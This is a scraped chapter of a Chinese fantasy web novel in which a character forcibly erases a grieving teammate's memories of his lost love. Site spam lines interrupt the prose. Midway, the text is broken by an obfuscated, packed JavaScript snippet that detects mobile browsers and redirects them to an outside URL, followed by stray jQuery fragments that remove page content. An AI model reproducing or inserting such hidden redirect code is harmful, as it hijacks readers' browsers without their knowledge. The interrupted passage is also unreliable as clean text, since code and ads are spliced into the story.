零界总部
压抑的气氛几乎凝成实质空气沉重得让人喘不过气。
玄昭被安置在特制的医疗舱内但束缚带根本无法困住他。他像一头失去幼崽的困兽双目赤红喉咙里发出破碎而绝望的嘶吼疯狂地挣扎着撞击着舱壁发出沉闷的“砰砰”声。
“小白……小白!回来!你回来啊——!”
“是我没用……是我没保护好你!!”
“不该让你上去的……我不该让你去的!!”
他语无伦次泪水、汗水混杂在一起脸上是近乎崩溃的癫狂。周身原本温顺的元素能量此刻彻底失控狂暴地翻涌、碰撞闪烁着危险而不稳定的光芒医疗舱内的监测仪器发出刺耳的警报声显示着他的异能核心正处于极度紊乱、濒临暴走的边缘。
温言和谢淮一左一右站在医疗舱旁脸色凝重到了极点。
温言双手闪烁着柔和的圣光源源不断地注入玄昭体内试图安抚他暴走的能量和濒临崩溃的精神但效果甚微。那庞大的、失控的元素风暴如同决堤的洪水他的治愈之光如同投入洪流的石子只能激起微小的涟漪。
谢淮的额角渗出细密的汗珠他强大的精神力化作无形的枷锁强行压制着玄昭躁动的异能核心阻止其彻底爆发。但这无异于在火山口上强行加盖压力巨大且随时可能被反噬。
“玄昭!冷静下来!”温言的声音带着前所未有的焦急和严厉“你这样会毁了自己的!”
“控制住你的能量!想想我们!想想队长!”谢淮的声音依旧冷静但紧绷的下颌线显示他并不轻松。
然而玄昭已经完全听不进去了。
他碧绿的眼眸中只剩下失去挚爱的痛苦和毁灭一切的疯狂脑海中反复回放着白夜在光芒中消散的那一幕那画面如同最恶毒的诅咒啃噬着他的理智。
“放开我!我要去找他!他一定没死!他肯定在某个地方等着我!!”玄昭嘶吼着更加剧烈地挣扎束缚带发出不堪重负的呻吟。
黎墨站在稍远的地方冰紫色的眼眸沉静地看着这一切但他紧握的双拳和周身散发出的低气压显示他内心的不平静。他转过头看向一直沉默地站在阴影处的白辰。
白辰靠墙站着银色的发丝有些凌乱垂落下来遮住了他大半张脸。他身上
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
的血迹早已清理干净换上了干净的衣物但那股仿佛从灵魂深处透出的疲惫和憔悴却无法掩饰。
他冰蓝色的眼眸不再是往日那种睥睨一切的冰冷而是蒙上了一层厚重的、化不开的灰暗如同被冰雪覆盖的死火山。
他静静地看着医疗舱内痛苦挣扎的玄昭看着温言和谢淮勉力支撑脸上没有任何表情仿佛一尊失去了所有生气的雕塑。
黎墨走到他身边声音低沉而冷静却带着一丝不易察觉的担忧:“辰哥这样下去不是办法。温言和谢淮撑不了太久玄昭的异能核心已经出现裂痕再强行压制要么暴走摧毁周围一切要么……他自己会先崩溃。”
白辰的眼睫微微颤动了一下但没有说话。
医疗舱内玄昭的嘶吼变得更加凄厉甚至带上了血丝:“辰哥!辰哥你告诉我!你一定能找到他的对不对?!你说话啊!你把他藏到哪里去了?!把他还给我!求求你把他还给我——!”
这声绝望的祈求像是一根针狠狠扎进了白辰死寂的心脏。
他缓缓抬起头冰蓝色的眼眸看向状若疯魔的玄昭那里面翻涌着极其复杂的情绪——有心如刀割的痛楚有深不见底的悲伤还有一丝……被这绝望呐喊勾起的、几乎要压制不住的暴戾。
他失去了弟弟。
而眼前这个少年同样因为失去小夜而痛不欲生。
他比任何人都清楚那种失去至亲的滋味。那是一种灵魂被硬生生撕裂
他看着玄昭仿佛看到了另一个可能崩溃的自己。
他不能让玄昭也变成那样。
至少不能是现在这种毫无意义的、自我毁灭式的崩溃。
一个疯狂的、冰冷的念头在他脑海中逐渐清晰、坚定。
他深吸了一口气那动作似乎抽走了他肺部所有的空气带着一种决绝的意味。
他推开黎墨试图阻拦的手步伐有些虚浮却又异常坚定地一步步走向医疗舱。
温言和谢淮看到他过来尤其是感受到他身上那股不同寻常的、带着绝对压迫感的精神力波动时脸色都是一变。
“辰哥!”温言下意识地喊道声音里带着惊疑和不赞同。
白辰没有理会他们。
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
他停在医疗舱前,隔着透明的舱盖,看着里面那个因为他的靠近而暂时停止嘶吼、用充满血丝和最后一丝希冀的碧绿眼眸望着他的少年。
“辰哥……”玄昭的声音嘶哑得厉害,带着哭腔,“小白他……”
白辰打断了他,声音平静得可怕,没有一丝波澜,却带着一种令人心悸的冰冷:“你很痛苦。”
玄昭用力点头,泪水再次涌出:“我受不了……没有他……我活不下去……”
“你想忘记这种痛苦吗?”白辰的声音依旧平稳,像是在陈述一个既定的事实。
玄昭愣住了,似乎没理解这句话的意思。
旁边的温言和谢淮却瞬间明白了白辰想做什么,两人几乎同时出声:“辰哥!不可!”
“强行抹除记忆会对他的精神海造成不可逆的损伤!”
白辰仿佛没有听见他们的劝阻。他的目光牢牢锁住玄昭的眼睛,冰蓝色的瞳孔深处,开始泛起如同极地冰川般寒冷刺骨的光芒,一股庞大到令人窒息的精神力量开始在他周身汇聚。
“忘记他。”白辰的声音带着一种不容置疑的、近乎催眠的力量,“忘记关于白夜的一切。忘记他的样子,忘记他的声音,忘记你喜欢他这件事。”
“不……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015237|185971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我不要……”玄昭本能地感到恐惧,挣扎着想要后退,却被束缚带和谢淮的精神压制牢牢困住。
“忘记,就不会痛苦了。”白辰的声音低沉而缥缈,如同来自幽冥的蛊惑,“睡一觉吧,醒来之后,一切都过去了。”
话音落下的瞬间,白辰抬起了手,指尖萦绕着凝练到极致的冰蓝色精神力,轻轻点在了玄昭的眉心。
“不——!!!”玄昭发出了最后一声凄厉而不甘的呐喊,碧绿的眼眸中充满了极致的抗拒和恐慌。
但一切都太晚了。
那股冰冷而霸道的精神力,如同势不可挡的洪流,强行冲入了玄昭的精神海,精准地、残酷地,将他所有关于白夜的记忆——从初见到心动,从日常的点点滴滴到生死离别的最后一幕——如同用最锋利的刀片刮过画布一般,一点点剥离、搅碎、最终……抹除。
玄昭的身体剧烈地抽搐起来,眼睛瞪得极大,瞳孔却逐渐失去了焦距,变得空洞无神。他喉咙里发出“嗬嗬”的、无意义的声音,挣扎的力道越来越小。
温言不忍地别过头,手中的治愈
你的朋友正在书荒,快去帮帮他吧
之光变得更加柔和,试图修复那被强行撕裂的精神创伤。
谢淮闭了闭眼,加大了精神压制,确保抹除过程不会引发更剧烈的反噬。
黎墨站在一旁,冰紫色的眼眸中闪过一丝复杂,最终化为一声几不可闻的叹息。
整个过程持续了将近十分钟。
当白辰终于收回手指时,他的脸色比刚才更加苍白,甚至微微晃了一下,被身后的黎墨及时扶住。
强行对一个SS级异能者进行如此精细且大范围的记忆抹除,对他而言也是巨大的消耗,尤其是在他自身状态极差的情况下。
医疗舱内,玄昭彻底安静了下来。
他闭上了眼睛,呼吸变得平稳悠长,仿佛只是陷入了沉睡。脸上疯狂和痛苦的神色消失了,取而代之的是一种近乎婴儿般的纯净和茫然。周身暴走的元素能量也平息了下来,温顺地回归到他体内。
监测仪器的警报声停止了,各项指标逐渐恢复正常。
他不再记得那个叫白夜的银发少年。
不再记得那份深埋心底、还未来得及宣之于口的喜欢。
不再记得那撕心裂肺、仿佛世界崩塌的痛苦。
他……“解脱”了。
白辰挣脱开黎墨的搀扶,站直身体,最后看了一眼沉睡的玄昭,冰蓝色的眼眸深处,那抹灰暗似乎更加浓重了。
他什么也没说,转身,步履有些蹒跚地,独自离开了医疗中心。
背影萧索,如同承载了全世界的孤独与悲伤。
他用自己的方式,“保护”了玄昭。
却也亲手,抹除了弟弟存在于另一个灵魂中的……所有痕迹。
医疗室内,只剩下仪器规律的滴答声,以及一片沉重的、令人窒息的寂静。